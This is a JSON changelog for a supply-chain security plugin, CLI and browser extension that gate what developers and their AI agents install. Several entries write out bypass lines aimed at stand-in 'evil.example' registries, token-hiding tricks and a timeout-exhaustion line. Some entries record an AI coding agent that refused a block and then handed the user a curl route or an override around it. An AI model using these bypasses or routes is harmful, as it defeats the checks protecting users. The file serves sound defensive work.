  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "Token shapes anywhere. GitHub (“ghp_”, “gho_”, “ghu_”, “ghs_”, “ghr_”, “github_pat_”), GitLab (“glpat-”), npm (“npm_”), Hugging Face (“hf_”), PyPI (“pypi-”) and Anthropic (“sk-ant-”): “echo ghp_… | gh auth login --with-token” too.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "A tab inside a URL's user name. The WHATWG URL parser removes tabs, so “'https://user:ghp_A<TAB>B@github.com/o/r'” is github.com with that credential. The user-name rule stopped at the tab.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "The line is read as the shell will hand it over. Before anything is sent, the hook also reads each word the way the shell will pass it to the tool: quotes and escaping backslashes removed, a line that ends in a backslash joined to the next, “$'…'” decoded, a comment and a heredoc body left as…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "A line with a rebuilt word is never a PASS. Where this reading and the shell's differ, the rebuilt word may not be what the command fetches, so the service's allow becomes an ask, and the ask says so. A deny stays a deny.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "fixed",
  "text": "The rules no longer cut across a quote. “git clone \"https://x:y\"@github.com/o/r” lost its closing quote with the password, and every quote after it on the line then read the other way round. The “NAME=value” rule keeps its old reading, in which a quote is an ordinary character. Vertical tabs, form…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "fixed",
  "text": "A space in a password is part of the password. Measured the same day with two loopback listeners: npm 11.17.0 and uv 0.11.14 took the text before the @ as the credential, space and all, and connected to the host after it; uv sent it as Basic auth. curl 8.7.1 and git 2.50.1 refused the URL. So a…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "A token the shell assembles is found by its shape. “gh\"p_…”, or a line continuation inside a token, is a token only in the shell's reading; there it is found by its shape and the word is rebuilt with “$REDACTED” in its place. The shapes are the check-up CLI's (GitHub, GitLab, Slack, AWS, Anthropic…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "changed",
  "text": "Up to 64 KB, and a longer line is not sent. The service reads at most 8,192 bytes and refuses a longer line unread, so a line over 64 KB is asked about without being sent. At 64 KB a pass takes 0.7 s with busybox awk and under 0.1 s with macOS awk and mawk.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "fixed",
  "text": "A longer line could not be sent at all. The hook hands curl the request body as one argument. Linux allows 128 KB for one argument and macOS 1 MB for all of them together; past that bash could not start curl (exit 126), and the ask said the service could not be reached. It was an ask, so nothing…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "changed",
  "text": "Now the hook measures what it would send and asks itself, in the service's words, with the size and the limit: \"command too long to assess (N bytes; the verdict service reads at most 8192). It was not sent, so this command was NOT assessed.\" It measures bytes, as the service does, never…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "fixed",
  "text": "A 413 says what it is. The service can still refuse a line the hook let through: if its limit moves, or for a byte that is not UTF-8, which jq sends as a three-byte replacement character. The ask now carries the service's reason instead of \"answered 413\".",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "fixed",
  "text": "Exit 126 or 127 is curl not starting. Those codes are the shell's; curl's own stop below 100. The ask says curl could not be started and nothing was sent, instead of \"could not reach\".",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "changed",
  "text": "The line as typed is bounded first (RG-191). Over 64 KB as typed, the line is asked about before any redaction rule reads it, in the words of the bound on the shell's reading (RG-186). Not every rule is linear on every line, even under C: “https:” repeated up to a tab, with a real user name later…",
  "pr": null,
  "rg": "RG-191"
 },
 {
  "product": "plugin",
  "version": "0.9.13",
  "date": "2026-10-05",
  "section": "added",
  "text": "“npm link <package>” installs the package. When the package is not installed globally, npm installs it from the registry first and then links it (npm 11.17.0, “lib/commands/link.js”). The line named nothing. It is now read as an install of that package: “npm link express”, “npm ln express” and…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.13",
  "date": "2026-10-05",
  "section": "added",
  "text": "“yarn workspaces foreach” runs a yarn command in each workspace (yarn 2 and later). “yarn workspaces foreach -A add lodash” installs lodash in every workspace, and it named nothing. The command after foreach's own options is now read as the yarn command it is: “add”, “up”, “create”, “dlx”, and…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.13",
  "date": "2026-10-05",
  "section": "added",
  "text": "foreach's options are its own. They are read from yarn's CLI reference (4.18.1-dev). “--from”, “-j” / “--jobs”, “--include” and “--exclude” take a value. “-A”, “-R”, “-W”, “-p”, “-i”, “-t”, “-v”, “-n”, “--topological-dev” and “--no-private” take none, and the one-letter ones may be written…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.13",
  "date": "2026-10-05",
  "section": "added",
  "text": "A command behind a word in front. “yarn workspace web exec npm install x” and “pnpm recursive exec npm install x” run that command line. It was read only when “exec” was the tool's own verb. It is now read behind “yarn workspace <name>”, “yarn workspaces foreach”, “yarn global” and pnpm's…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.13",
  "date": "2026-10-05",
  "section": "security",
  "text": "A registry named on the line reaches the command behind it. “npm_config_registry=https://evil.example bash -c 'npm install express'” and “pnpm --registry https://evil.example exec npm install express” install from that registry: a child process inherits the environment, and npm hands its options…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.13",
  "date": "2026-10-05",
  "section": "security",
  "text": "A backslash in a registry's address. npm reads a backslash in a URL as a slash: to npm, “--registry 'https://evil.example\\@registry.npmjs.org/'” is the host “evil.example” (11.17.0, run). The service read “evil.example\\” as a user name and the public registry as the host, and looked the package up…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.13",
  "date": "2026-10-05",
  "section": "fixed",
  "text": "Every package manager on the line has its options read. Only the first word that names one did. With a user called npm, “sudo -u npm pip install -i https://evil.example/simple flask” was read for npm's options, and “flask” was looked up on PyPI. “sudo -i pip install flask” is still sudo's “-i”.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.13",
  "date": "2026-10-05",
  "section": "changed",
  "text": "A line with more than eight places where a verb may stand is asked about, as before. That now holds when the last of them is an “exec”.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.12",
  "date": "2026-10-04",
  "section": "fixed",
  "text": "Each tool has its own options that take a value. One list served all four. “npm install --filter evilpkg” named nothing: “--filter” is pnpm's option, npm reads an option it does not know as a switch, and npm installs “evilpkg”. So did “npm install --dir owner/repo”, and “--cwd”, “--modules-folder”…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.12",
  "date": "2026-10-04",
  "section": "changed",
  "text": "npm's list is what npm has read a value for since 7.0.0. A younger option is a switch to an older npm, which installs the word after it: “npm install --install-strategy nested express” looks up “nested” beside “express”. The lists of pnpm, yarn and bun are those of their current sources; when each…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.12",
  "date": "2026-10-04",
  "section": "added",
  "text": "npm's other spellings of install and update. “npm instal”, “insta”, “isnt”, “isnta” and “isntal” are aliases of install in npm's own command list; “npm u” and “npm udpate” are update; “npm it” is install-test. None was read. npm also resolves any unique abbreviation (“npm upd”, “npm upg”). Which…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.12",
  "date": "2026-10-04",
  "section": "fixed",
  "text": "A registry named another way is still another registry. “--reg” is npm's shorthand for “--registry”, and npm resolves “--registr” and “--regi” too, with one dash or two. “npm install --reg https://evil.example express” was looked up on the public registry; it is now asked about. So is a scoped…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.12",
  "date": "2026-10-04",
  "section": "fixed",
  "text": "The verb is found where the tool finds it. “npm --filter create evilpkg” runs “create-evilpkg”; the service took “create” for the value of “--filter” and read nothing. After an option whose value is not known, the next word is read as that value and as the verb. bun reads no option's value before…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.12",
  "date": "2026-10-04",
  "section": "added",
  "text": "A word in front of the command. “yarn workspace <name> add <package>” and “yarn workspace <name> create <name>” run that command in the workspace; “pnpm recursive add” (also “multi” and “m”) and “yarn global upgrade” are read as the command after them.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.12",
  "date": "2026-10-04",
  "section": "fixed",
  "text": "A tool word in capitals is that tool. “NPM create evilpkg” runs npm on a file system that ignores case. This holds for every tool the service reads (“GIT clone”, “PIP install”). A capital in npm's verb names no command: “npm I x” is refused by npm and reads as nothing.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.12",
  "date": "2026-10-04",
  "section": "security",
  "text": "A capital in an option. The hook reads the line in lower case, and “-W” or “--PREFIX” is another option than “-w” or “--prefix”. So is an option written with a look-alike capital: under a UTF-8 locale “--worKspace” with a Kelvin sign for the K lower-cases to “--workspace”, the hook took the next…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.12",
  "date": "2026-10-04",
  "section": "changed",
  "text": "A line with more than eight places where a verb may stand is asked about.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.12",
  "date": "2026-10-04",
  "section": "fixed",
  "text": "Six lines 0.9.11 listed as not seen are read: “npm install -P express”, “yarn add -W react”, “pip install -I flask”, “npm --omit dev install express”, “pnpm add -w lodash”, and “yarn workspace <name> add <package>”; so are npm's shorter spellings of install. “npm exec” finds its verb the same way…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.11",
  "date": "2026-10-04",
  "section": "fixed",
  "text": "Options before the verb. “npm -g install typescript”, “npm --silent install express”, “npm --yes create vite”, “pnpm --filter web create vite”, “pip --quiet install flask”, “python -m pip -q install flask” and “uv --quiet add flask” were not sent to the service: the hook looked for the verb…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.11",
  "date": "2026-10-04",
  "section": "added",
  "text": "“npm exec” and “npm x” name the package they download and run, as “npx” does: npx is “npm exec” under another name. “npm exec create-vite”, “npm x -- create-vite” and “npm exec --package=typescript -- tsc” are resolved and assessed, and so is “npm exe”, the abbreviation npm accepts. The rule was…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.11",
  "date": "2026-10-04",
  "section": "changed",
  "text": "An option whose value is not known is read both ways. After “npm exec”, only the values npm is known to read are skipped. After any other option the next word is read as the package too: “npm exec --dir evil-pkg” runs “evil-pkg”, because “--dir” means nothing to npm. A line with more than eight…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.11",
  "date": "2026-10-04",
  "section": "fixed",
  "text": "A runner installs the package its option names. “npx -p typescript tsc” was assessed as the npm package “tsc”, which is another package. So were “bunx -p”, “pnpm dlx --package” and “yarn dlx -p”. The package the option names is now the one assessed — beside the skill or repository of a “skills…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.11",
  "date": "2026-10-04",
  "section": "fixed",
  "text": "A runner's package is read as the runner reads it. “npx foo@npm:other” runs the package “other”, and “npx foo@github:owner/repo” runs that repository; both were answered with nothing. The first is now assessed as “other”, the second as the repository, and a URL or a file in the version's place is…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.11",
  "date": "2026-10-04",
  "section": "fixed",
  "text": "The command a runner runs is read as a command. The string after “-c” or “--call” (“npx -c 'npm install x'”, also “-yc”, which npm reads as “--yes --call”) and a command word that is itself a tool (“npx gh repo clone owner/repo”, “npm exec -- npm install x”) were not read. They are now, beside the…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.11",
  "date": "2026-10-04",
  "section": "fixed",
  "text": "Every word after the first verb is read. The hook read only the words after the last verb on a line. “bun”, “add”, “npm” and “i” are packages too, so “npm install some-package bun add” ended on “bun add”, found nothing after it, and was not sent.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.11",
  "date": "2026-10-04",
  "section": "added",
  "text": "“pnpm dlx <package>” and “yarn dlx <package>” are sent. The service already read them; the hook sent them only for the skills and ClawHub command lines.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.11",
  "date": "2026-10-04",
  "section": "security",
  "text": "The hook's own time no longer grows with the number of chained commands. Each “;”, “&&” or “|” segment cost the hook several processes. An 8 KB line of “:;” followed by one install took 11 to 13 seconds, measured three times; Claude Code stops a hook at 15 seconds, and the command then runs. The…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.10",
  "date": "2026-10-04",
  "section": "added",
  "text": "“create” under npm, pnpm, yarn and bun, and npm's “init” and “innit”, name the package they run. “npm create vite@latest”, “npm init vite”, “pnpm create next-app”, “yarn create react-app my-app” and “bun create vite app” are resolved as the npm package “create-<name>”: a scope alone (“@scope”) is…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.10",
  "date": "2026-10-04",
  "section": "added",
  "text": "Every spelling of the verb. npm resolves a unique abbreviation of a command, so “npm cr vite” and “npm ini vite” are read too; so is bun's “bun c vite”.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.10",
  "date": "2026-10-04",
  "section": "added",
  "text": "Each tool's own rule for the name. A name that already starts with “create-” is kept by pnpm and by yarn 2 and later, and prefixed again by npm, yarn 1 and bun. The line does not show which yarn is installed, so for yarn both packages are assessed. “bun create elysia”, “elysia-buchta” and “stric”…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.10",
  "date": "2026-10-04",
  "section": "added",
  "text": "What follows the name is a version only when it is one. “vite@latest” and “vite@^5” are “create-vite”. “vite@npm:other” runs the package “other”, and that one is assessed. “vite@github:user/repo” runs a repository, and that one is assessed. A tarball URL, a “file:” path or a variable there is…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.10",
  "date": "2026-10-04",
  "section": "added",
  "text": "A repository where a name belongs. “bun create user/repo” is that repository, as in 0.9.9. “npm init user/repo” runs the repository “user/create-repo”, and that one is assessed. Under pnpm and yarn the line is asked about.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.10",
  "date": "2026-10-04",
  "section": "added",
  "text": "An option before the name does not hide it. The tools disagree on which options take a value (“-p” is “--parseable” to npm and “--package” to yarn; “bun create” has no option with a value). Where the word after an option may be its value or the initialiser, both are assessed: “npm create --otp…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.10",
  "date": "2026-10-04",
  "section": "added",
  "text": "A word that does not look like a name is still read as one where the tool does. “bun create -x” runs “create--x”, any tool runs the word after “--”, and pnpm, yarn and bun run “create-.x” for “.x” (npm reads a leading dot as a path and runs nothing). A glob in the name is asked about.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.10",
  "date": "2026-10-04",
  "section": "changed",
  "text": "A registry override on the line (“--registry”, “npm_config_registry”) turns an initialiser into an ask, as it does for any package.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.9",
  "date": "2026-10-04",
  "section": "fixed",
  "text": "A command continued with a backslash is one command. “gh repo clone \\” on one line and “owner/repo” on the next was read as two commands, and neither named a repository. The same for “npm install”, “pip install”, “hf download”, “docker extension install”, “code --install-extension” and “claude…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.9",
  "date": "2026-10-04",
  "section": "fixed",
  "text": "Other spellings of GitHub are GitHub. “github.com.” with a trailing dot, “ssh.github.com”, “raw.github.com”, and the paths of “api.github.com” that fetch code (“/repos/o/r/tarball”, “zipball”, “contents”, “git”, a release asset, an Actions artifact). The same trailing dot on gitlab.com and…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.9",
  "date": "2026-10-04",
  "section": "security",
  "text": "A URL that climbs is asked about. “github.com/torvalds/linux/../../o/r” was assessed as “torvalds/linux”. A “.”, “..” or “%2e” segment now makes the URL unresolvable.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.9",
  "date": "2026-10-04",
  "section": "fixed",
  "text": "A URL inside an option or a command string is read. “--opt=URL”, “-c key=URL”, and text handed to a shell or a language runtime: “python3 -c”, “node -e”, “ruby -e”, “perl -e”, “su -c”, “script -c”, “env -S”, and a shell anywhere on the line (“screen -dm bash -c”, “busybox sh -c”). A commit message…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.9",
  "date": "2026-10-04",
  "section": "changed",
  "text": "A brace or glob expansion in the target is asked about, and a URL inside one is assessed as well.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.9",
  "date": "2026-10-04",
  "section": "changed",
  "text": "A command word that is a variable or a subshell (“$G repo clone o/r”, “$(echo gh) repo clone o/r”) is asked about when what follows reads as a fetch by gh, glab, hf, hub, “docker extension” or “claude plugin”, and what it would fetch is assessed. A hidden npm or pip is not guessed at: “$X install…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.9",
  "date": "2026-10-04",
  "section": "security",
  "text": "A package from another registry is asked about, not looked up. With “--registry”, “--index-url”, “--extra-index-url”, “--find-links” or the matching environment variable (“PIP_INDEX_URL”, “npm_config_registry”, “UV_INDEX_URL”) on the line, the public registry's record does not describe what is…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.9",
  "date": "2026-10-04",
  "section": "added",
  "text": "New verbs: “hub clone”, “brew tap” and “brew install user/repo/formula” (the tap repository), “bun create user/repo”, “gh api” on a code endpoint, “gh run download -R”, “gh repo create --template”, and an npm alias (“name@npm:other” is the package “other”).",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.8",
  "date": "2026-10-04",
  "section": "security",
  "text": "The token goes only to RepoGates. The CLI took its API address from “--api-base” or “REPOGATES_API_BASE” and accepted any http(s) host. A project sets its own environment (“.claude/settings.json” “env”), so a check-up run inside a hostile repository would have posted the API token and the…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.8",
  "date": "2026-10-04",
  "section": "security",
  "text": "A crafted file can no longer hang the check-up. The patterns the CLI reads files with are the engine's, and five of them took time that grew with the square or the cube of a line's length: “bash -c ” repeated through a 64 KB SKILL.md did not return for hours. Rules version 5 rewrites them to run…",
  "pr": null,
  "rg": null
 },
 {
  "product": "cli",
  "version": "0.1.2",
  "date": "2026-10-04",
  "section": "security",
  "text": "The API token is sent only to “repogates.com” over https, or to this machine over http on a named port; for any other address the token is not read and nothing is sent (SEC-39).",
  "pr": 362,
  "rg": "RG-140"
 },
 {
  "product": "cli",
  "version": "0.1.2",
  "date": "2026-10-04",
  "section": "security",
  "text": "A crafted file can no longer hang the check-up: the patterns it reads files with run in linear time (rules version 5, bundled for an offline run).",
  "pr": 362,
  "rg": "RG-140"
 },
 {
  "product": "plugin",
  "version": "0.9.7",
  "date": "2026-09-30",
  "section": "fixed",
  "text": "Claude Code in VS Code refused the canary correctly, then ended with \"If you actually want this repo's files despite the block, tell me that you're deliberately overriding RepoGates for it\" — an override offered in words. The vetting skill had told it \"If the user insists after being told why…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.7",
  "date": "2026-09-30",
  "section": "changed",
  "text": "The hook's deny adds \"or offer to override the block\" to the no-route sentence (worst case 896 of its 900 characters, link included).",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.7",
  "date": "2026-09-30",
  "section": "changed",
  "text": "The MCP server says the same in every BLOCK error, the tool descriptions and its instructions (the server is deployed separately; no plugin update needed for it). “/repogates:scan” and the tools page too.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.7",
  "date": "2026-09-30",
  "section": "changed",
  "text": "The claims guard pins the clause on the skill, the scan command and the tools page, and refuses any wording that invites the user to state an override.",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.4",
  "date": "2026-09-30",
  "section": "fixed",
  "text": "Save Page As is checked. Saving a raw file with Ctrl/Cmd+S (smoke run S05: a 612-byte “CLAUDE.md” from a repository the same browser blocked as a ZIP) wrote it to the downloads folder with no verdict, no page and no audit row. Chrome names a saved page before the download exists, so the hold every…",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.4",
  "date": "2026-09-30",
  "section": "fixed",
  "text": "The same read-back now follows the gate's own cancel: a decision that outlives Chrome's 15-second hold finds a small file already written and deletes it instead of recording \"blocked\" beside a file on disk.",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.4",
  "date": "2026-09-30",
  "section": "fixed",
  "text": "One owner per download: the gate claims a download before its first await; the backstop skips anything the gate holds or has decided, including a decision made by an earlier service worker (kept for the browser session), so no download is cancelled or deleted twice.",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.4",
  "date": "2026-09-30",
  "section": "fixed",
  "text": "The console error \"Unchecked runtime.lastError: Download must be in progress\" on every block came from the gate's own “suggest()” after its own cancel, which Chrome refuses. The hold is now released only while there is one. Every new “chrome.downloads” call reads “lastError”.",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.4",
  "date": "2026-09-30",
  "section": "changed",
  "text": "The block page's second button names the site the download came from: Back to GitHub, Back to GitLab, Back to Hugging Face, or \"Go back\" when the key is none of those (smoke run S06, S07: it said GitHub on all three).",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.4",
  "date": "2026-09-30",
  "section": "changed",
  "text": "Options → AI agents: the Gemini CLI line adds the server for the user (“--scope user”, not the current project only) and says to run “/mcp auth repogates” to sign in (smoke run S26, #281).",
  "pr": 281,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.4",
  "date": "2026-09-30",
  "section": "added",
  "text": "Tab lineage reaches gitlab.com and huggingface.co. The agent-provenance check (G22 on gitlab.com, H18 on huggingface.co) read only the page's referrer there, and assistants commonly open links with the referrer stripped — so a project or model opened from claude.ai or chatgpt.com that way left no…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.6",
  "date": "2026-09-27",
  "section": "added",
  "text": "“npx clawhub@latest install @owner/slug” is judged on the skill it names. Before, only the npm package “clawhub” (the CLI) was assessed, so a skill from a named campaign came back as an ask about the CLI instead of a block. The same for “bunx”, “pnpx”, “pnpm dlx” and “yarn dlx”, a package named…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.6",
  "date": "2026-09-27",
  "section": "changed",
  "text": "The hook now sends “clawhub@<version> install …” to be checked; through “pnpm dlx” or “yarn dlx” no other rule did, so the line ran unchecked.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.6",
  "date": "2026-09-27",
  "section": "added",
  "text": "“npx -p skills skills add owner/repo”, “pnpm dlx skills add owner/repo” and “yarn dlx skills add owner/repo” are judged on the skill source they name, like “npx skills add owner/repo”.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.5",
  "date": "2026-09-27",
  "section": "fixed",
  "text": "After a BLOCK the agent no longer hands you the route instead. Claude Code in VS Code and the Claude desktop app both refused a blocked repository correctly, then told the user how to get it anyway: a “curl” line to \"run yourself outside this session\", and the repository's Download ZIP button. The…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.5",
  "date": "2026-09-27",
  "section": "changed",
  "text": "What the agent offers instead: a safer alternative, or a deep scan with its price first, started by the user on the account page — an agent's deep scan does not scan a BLOCK, and the BLOCK stands either way. A campaign listing is offered no scan, because no scan clears one; nor is a Hugging Face…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.5",
  "date": "2026-09-27",
  "section": "changed",
  "text": "“/repogates:setup” now says that in Claude Code's auto mode a RepoGates ask does not reach you — auto mode decides it without a prompt — while a refusal still holds (scene S10).",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.4",
  "date": "2026-09-26",
  "section": "added",
  "text": "ClawHub listings are assessed (K1b). “clawhub install @owner/slug”, a “clawhub.ai” listing URL and “npx skills add @owner/slug” already went to the “skill/claw/…” key; that key now comes back with a verdict from the 15 skill checks instead of \"not assessed\". RepoGates reads the listing's own…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.4",
  "date": "2026-09-26",
  "section": "changed",
  "text": "What ClawHub does not publish is said, not guessed: no source repository (S1 is listed as not checked) and no account record (the owner's age is not assessed).",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.4",
  "date": "2026-09-26",
  "section": "changed",
  "text": "ClawHub's own moderation is evidence, never a clearance: a listing it has blocked as malware is refused (a CRIT under S10), one it marks suspicious is a warning (HIGH), and its silence on any other listing is only a note. A listing ClawHub has removed answers \"not assessable\", never a pass.",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "changed",
  "text": "The Chrome Web Store rejected 0.8.2 as keyword spam (Yellow Argon): its summary listed six platforms, three of which this extension never touches. The summary is now one sentence about what the extension does, naming the three sites it works on.",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "fixed",
  "text": "A raw file linked from outside GitHub (“raw.githubusercontent.com/<o>/<r>/…”) is gated under its repository; it was not matched at all.",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "security",
  "text": "A release asset reached through a redirect that is not GitHub's own (a shortener, another domain) is traced to its repository by the numeric id in the CDN path, through GitHub's public “/repositories/<id>” API. When GitHub does not name it (private, gone, no answer in 4 s) the download is…",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "security",
  "text": "Proceed and deep-scan messages are accepted from the extension's own block page only, never from a content script on a GitHub, GitLab or Hugging Face page (an org's allowOverride:false could be bypassed there).",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "fixed",
  "text": "A download on a cold service worker waits for the stored config and campaign blocklist before deciding.",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "changed",
  "text": "Privacy notice version 5: the GitHub lookup above is the one new thing that leaves the browser — the numeric id of a release asset, sent to GitHub, which is already serving that download; nothing new is sent to RepoGates.",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "fixed",
  "text": "An account-synced allowlist line or a campaign entry that names an AI-agent skill or plugin (“skill/gh/…”, “skill/plugin/…”, “skill/claw/…”) is read as one: the key table gains the “skill” row, so the five skill-platform blocklist entries match by their account and no “skill/…” key falls through…",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "changed",
  "text": "The deep-scan panel's bar is the job's own report (progress schema 2, docs/20): \"step 3 of 7 — scanning for hostile behaviour · 42% · about 6 min left\", with a row of steps under it (finished, running with its percentage, waiting). Download and unpack are measured; each engine is estimated from…",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "fixed",
  "text": "A scan that is reporting is waited on for 35 minutes (the job's ceiling) rather than given up at eight; the start line names the estimate for a large repository (\"about 14 minutes for a repository this size\").",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "added",
  "text": "Sized scan pricing (plan Part O): the panel prices a scan before the click (“POST /v1/deepscan/quote”) — \"A scan of this repository costs 3 credits (80,977 files, 130 MB)\" — the button names a price above one, the start sends it as “accept_credits”, and a 409 naming a new price becomes a button…",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "changed",
  "text": "Store title and summary: \"RepoGates — AI Supply Chain Security for Developers\"; \"Checks what you and your AI agents install: GitHub, Hugging Face, GitLab, VS Code, Docker Desktop, agent skills. Gates downloads.\" The browser board and gate stay on github.com, huggingface.co and gitlab.com; the…",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "changed",
  "text": "The options page names the six platforms of the security ticker (agent skills joined the feed on 20 September).",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "changed",
  "text": "The block page and Options say \"see plans\" instead of \"$29/year\", so a price change on the website never needs a new package.",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
